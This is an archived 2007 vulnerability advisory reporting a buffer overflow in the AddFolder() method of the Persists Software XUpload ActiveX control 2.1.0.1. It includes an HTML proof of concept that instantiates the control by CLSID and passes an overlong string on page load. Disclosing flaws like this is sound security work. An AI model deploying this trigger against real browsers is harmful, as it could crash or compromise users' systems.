exploit the possibilities

persists-overflow.txt

persists-overflow.txt
Posted Dec 28, 2007
Authored by Elazar Broad

There is a buffer overflow vulnerability in the AddFolder() method of the Persists Software XUpload control version 2.1.0.1.

tags | exploit, overflow
MD5 | e5beae5b8fc1022ccf97dd19f8f30c76

persists-overflow.txt

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There is a buffer overflow in the AddFolder() method of the Persists Software XUpload control, version 2.1.0.1. This object is marked safe for scripting. Version 3.0(latest) is not vulnerable(throws an error if the parameter is more than 256 characters), I have not tested any other versions. A quick Google search for "xupload.ocx" shows that this control is widely deployed. PoC as follows:

------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';

while (s.length <= 1380) s = s + 'A';

obj.AddFolder(s);

}
</script>

</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003" />
</object>
</body>
</html>
------------------

Elazar

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